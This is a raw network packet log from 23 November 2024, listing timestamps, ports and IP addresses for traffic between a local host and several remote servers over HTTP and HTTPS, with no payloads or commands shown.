Nov 23, 2024 02:55:17.250472069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.250519037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.250590086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.251504898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.251523972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.251549006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.251563072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.252605915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.252659082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.252692938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.252743959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.253678083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.253734112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.253771067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.253818035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.313290119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.313342094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.313395023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.313436031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.313793898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.313843966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.313927889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.313971043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.315033913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.315052032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.315083981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.315103054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.316154003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.316169977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.316196918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.316212893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.317059040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.317174911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.317203045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.317218065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.318140984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.318192959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.318242073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.318285942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.319206953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.319257975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.319309950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.319356918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.320291996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.320343018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.320389032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.320432901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.321392059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.321445942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.321492910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.321537971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.322443962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.322490931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.322535992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.322577953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.323525906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.323568106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.323615074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.323672056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.324572086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.324623108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.324692965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.324736118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.325680017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.325736046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.325782061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.325823069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.326725960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.326771975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.326839924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.326881886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.327821970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.327837944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.327872992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.327891111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.328891039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.328933954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.328980923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.329020977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.329993010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.330044985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.330085993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.330125093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.331041098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.331090927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.331139088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.331176043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.332139015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.332192898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.332221031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.332258940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.333215952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.333261013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.333307981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.333349943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.390626907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.390683889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.390707970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.390748978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.391129971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.391186953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.391225100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.391357899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.392234087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.392286062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.392606020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.392657995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.392702103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.392745972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.393671989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.393719912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.393765926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.393814087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.394742012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.394787073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.394889116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.394931078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.395888090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.395930052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.395993948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.396035910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.396891117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.396934986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.396990061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.397031069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.397975922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.398022890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.398088932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.398130894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.399046898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.399091005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.399135113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.399178982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.400187016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.400232077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.400247097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.400291920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.401216984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.401261091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.401307106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.401346922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.402270079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.402324915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.402369976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.402410030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.403400898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.403451920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.403493881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.403537989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.404442072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.404488087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.404532909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.404575109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.405510902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.405556917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.405626059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.405667067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.406610012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.406656027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.406692982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.406738043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.406749964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.407716036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.407768011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.438229084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.438282967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.438308954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:17.438345909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:17.467360973 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:17.467402935 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:17.467478991 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:17.469748020 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:17.469764948 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:17.470484972 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:17.470498085 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:17.470563889 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:17.471021891 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:17.471039057 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:17.569953918 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:17.570116043 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:17.591813087 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:17.591825962 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:17.592323065 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:17.592330933 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:18.009185076 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:18.009207964 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:18.009257078 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:18.009289026 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:18.009310007 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:18.009324074 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:18.009330034 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:18.009367943 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:18.009368896 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:18.009421110 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:18.275082111 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:18.275176048 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:18.530201912 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.542509079 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.556648016 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.556670904 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.557149887 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.557157993 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.557709932 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.557744026 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.558521986 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.558536053 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.596543074 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.598321915 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.662548065 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.689099073 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.689122915 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.689623117 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.689636946 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.690000057 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.690059900 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.691028118 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.691042900 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.886301041 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.886353970 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.886419058 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.886817932 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.886879921 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.887073040 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.887447119 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.887456894 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.887561083 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.906194925 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.906210899 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.907322884 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.907358885 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.907768965 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.907779932 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.909048080 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.909126997 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.909197092 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.909810066 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:18.909842014 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:18.963606119 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.963671923 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.963995934 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.976466894 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.976475954 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.976512909 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.976545095 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.976578951 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.976629019 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.976731062 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.983704090 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.983728886 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.983769894 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.983784914 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.987673998 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.987704992 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.987911940 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.989626884 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.989639044 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.990799904 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.990832090 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:18.990896940 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.991131067 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:18.991144896 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.042802095 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.042834997 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.043565035 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.043576002 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.043653965 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.043669939 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.043723106 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.043726921 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.045984030 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.045984030 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.045994997 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.046005964 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.047790051 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.047790051 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.047826052 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.047852039 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.054208040 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.054254055 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.054328918 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.057384014 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.057395935 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.058855057 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.058885098 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.059015989 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.059253931 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.059267998 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.068089962 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.068154097 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.072261095 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.072288990 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.078311920 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.078337908 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.105937958 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.106077909 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.170243025 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.170336962 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.170423985 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.298273087 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.298681021 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.298711061 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.299237967 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.299246073 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.372863054 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.372910023 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.391139984 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.391160965 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.391565084 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.391623020 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.391643047 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.392302990 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.392333031 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.392828941 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.392828941 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.392986059 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.435334921 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.435336113 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.486388922 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.486457109 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.486639977 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.486951113 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.486975908 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.499746084 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.499789953 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.500017881 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.500977039 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.501009941 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.664190054 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.664216042 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.664280891 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.664282084 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.664282084 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.664421082 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.670126915 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:19.670156002 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:19.751740932 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.751817942 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.751864910 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.752271891 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.752295017 CET	443	49723	13.107.246.63	192.168.2.6
